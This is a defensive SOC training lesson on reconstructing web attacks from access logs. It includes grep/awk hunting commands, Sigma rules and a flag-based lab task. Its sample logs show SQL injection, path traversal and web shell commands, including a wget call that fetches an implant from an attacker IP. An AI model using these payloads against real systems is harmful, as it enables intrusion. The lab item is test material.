SIEM Investigation: Web Application Attack Chain Detection

Prerequisites

• COA-K002: MITRE ATT&CK for SOC Analysts
• FND-K006: HTTP Deep Dive & Web Attack Patterns

Why This Lesson Matters

Web applications are the most common initial access vector in external attacks. A skilled SOC analyst must be able to read access logs, identify attack patterns, and reconstruct the attacker's progression from reconnaissance to web shell execution using only log evidence.

1. Web Attack Stages in Log Evidence

A full web application attack unfolds in stages, each leaving distinct signatures in HTTP access logs:

Stage 1: Reconnaissance & Enumeration
  → 404 storm: GET /admin, /wp-admin, /phpinfo.php, /backup.zip ...
  → Scanner User-Agent: nikto, sqlmap, dirbuster, gobuster, wfuzz

Stage 2: Vulnerability Discovery
  → SQL injection probes: UNION, SELECT, ', --, OR 1=1 in URI/body
  → Path traversal: ../../../etc/passwd, %2e%2e%2f
  → LFI: ?page=../../etc/passwd, ?file=/proc/self/environ

Stage 3: Exploitation
  → Successful SQLi: 200 response where 500 was expected
  → Command injection: ;id, ;whoami, |cat /etc/passwd in params

Stage 4: Web Shell Upload & Access
  → POST to upload endpoint: 200 response
  → GET /uploads/shell.php?cmd=id: 200 response

Stage 5: Post-Exploitation
  → Web shell commands: cmd=cat+/etc/passwd, cmd=ls+-la
  → Outbound connections from web server process

2. Reading Web Attack Patterns in Access Logs

2.1 Reconnaissance Phase Signatures

# Find enumeration: many 404s from same IP in short window
awk '$9==404 {print $1}' access.log | sort | uniq -c | sort -rn | head

# Find scanner User-Agents
grep -iE "nikto|sqlmap|masscan|nmap|dirbuster|gobuster|wfuzz|nuclei|ffuf" access.log

# Find 404 storm from a specific IP
awk '$1=="185.220.101.5" && $9==404 {print $7}' access.log | sort | head -30

2.2 SQLi and Injection Patterns

# Detect SQL injection patterns in URI
grep -E "UNION|SELECT|INSERT|%27|%22|--|;--|'|\x27" access.log | grep -v "^#"

# Detect path traversal
grep -E "(../|%2e%2e%2f|%252e%252e|..%2f)" access.log

# Detect LFI
grep -E "(?file=|include=|page=|path=).*(passwd|proc|etc|boot)" access.log

2.3 Successful Exploitation Signal

The transition from failed probes to success is visible in the status code sequence:

185.220.101.5 "GET /login?user=' 400        ← syntax error → bad request
185.220.101.5 "GET /login?user=' OR 1=1-- 200  ← success → SQL injection worked

A 200 response to a request that was previously returning 400/500 is a success signal.

2.4 Web Shell Execution Signature

185.220.101.5 "POST /upload 200"              ← file uploaded
185.220.101.5 "GET /uploads/sh3ll.php 200"    ← shell accessed
185.220.101.5 "GET /uploads/sh3ll.php?cmd=id 200"       ← first command
185.220.101.5 "GET /uploads/sh3ll.php?cmd=whoami 200"
185.220.101.5 "GET /uploads/sh3ll.php?cmd=cat+/etc/passwd 200"
185.220.101.5 "GET /uploads/sh3ll.php?cmd=wget+http://185.220.101.5/implant 200"

3. Timeline Reconstruction from Logs

3.1 Unified Web Attack Timeline

Merge the access log events into a chronological narrative:

13:47:02  185.220.101.5  GET /robots.txt 200           recon: looking for hints
13:47:05  185.220.101.5  GET /admin 403                 recon: admin exists, forbidden
13:47:06  185.220.101.5  GET /phpinfo.php 404
13:47:07–13:48:30 [312 × 404]                           directory enumeration (gobuster)
13:48:45  185.220.101.5  GET /upload.php 200            found upload form
13:49:01  185.220.101.5  GET /login?id=' 500            SQLi probe → error
13:49:03  185.220.101.5  GET /login?id=' OR 1=1-- 200   SQLi success
13:51:14  185.220.101.5  POST /upload.php 200           file upload
13:51:22  185.220.101.5  GET /uploads/cmd.php 200       shell confirmed
13:51:25  185.220.101.5  GET /uploads/cmd.php?cmd=id 200    command executed

3.2 ATT&CK Mapping for the Chain

4. SIEM Rules for Web Attack Detection

# Sigma-style: web shell execution detection
title: Web Shell Command Execution
detection:
  selection:
    http_method: GET
    request_uri|contains: '.php'
    request_uri|contains|any:
      - 'cmd='
      - 'exec='
      - 'shell='
      - 'command='
    response_code: 200
  condition: selection
level: high
tags:
  - attack.persistence
  - attack.t1505.003

---
# Directory enumeration detection
title: Rapid 404 Enumeration
detection:
  selection:
    response_code: 404
  timeframe: 1m
  same_source: true
  condition: selection | count() > 50
level: medium

5. Common Mistakes

Mistake 1: Only alerting on 500 errors as injection indicators. A successful SQL injection often returns 200 — the injection succeeded and returned data. Alert on injection-pattern strings in the URI regardless of response code.

Mistake 2: Missing URL-decoded versions of attack strings. %27 = ' (single quote). A WAF-evading attacker uses double-encoding: %2527 decodes to %27 decodes to '. Your grep pattern must include both encoded and decoded variants.

Mistake 3: Not correlating POST and GET to the same path. An attacker POSTs a shell to /uploads/sh3ll.php, then GETs it. Alert on POST+200 to upload paths, then monitor subsequent GET requests to that same URI.

6. Practice Exercises

1. An access log contains: GET /page.php?id=1%20UNION%20SELECT%20NULL,table_name,NULL%20FROM%20information_schema.tables-- HTTP/1.1" 200. URL-decode the URI and explain what the attacker is doing.

2. Write an awk command that extracts from an Nginx access log all requests from IP 10.0.0.5 that returned status 200 and contain the string cmd= in the request URI.

3. You see a POST to /upload.php returning 200, followed 8 seconds later by GET /uploads/image.php.jpg returning 200. Is this suspicious? Why? What would you investigate next?

7. Lab

Assessment mode: flag

challenge_spec_id: 370 — Web attack trace

You are given an access.log file from an Nginx server that was attacked.

Task: 1. Identify the attacker's IP address 2. Reconstruct the attack stages from the log 3. Find the web shell filename that was uploaded and executed 4. Identify the first OS command executed via the shell 5. The flag is embedded in one of the web shell command outputs (visible in a 200-response entry)

8. Framework Alignment

9. Further Reading

• OWASP Testing Guide v4.2 — Full methodology for web application security testing
• Apache/Nginx Log Format documentation — Understanding every field
• GoAccess — Real-time web log analyser; excellent for rapid triage
• SANS Webcast: Hunting Web Shells — Practical detection techniques

["Identify the five stages of a web application attack chain and map each stage to its observable signature in an HTTP access log", "Use grep and awk to extract SQLi probe patterns, URL-decode percent-encoded attack strings, and identify the transition from failed probes to successful exploitation", "Reconstruct a complete web attack timeline from an access log and produce an ATT&CK-mapped investigation summary identifying the attacker IP, attack stages, and post-exploitation actions"]

Prerequisites → Why this matters → Web attack stages in log evidence (5-stage model with log signatures) → Reading attack patterns: recon, SQLi, web shell → Timeline reconstruction methodology → ATT&CK mapping for web attack chain → SIEM detection rules (Sigma examples) → Common mistakes → Practice exercises → Lab (flag, spec 370) → Framework alignment → Further reading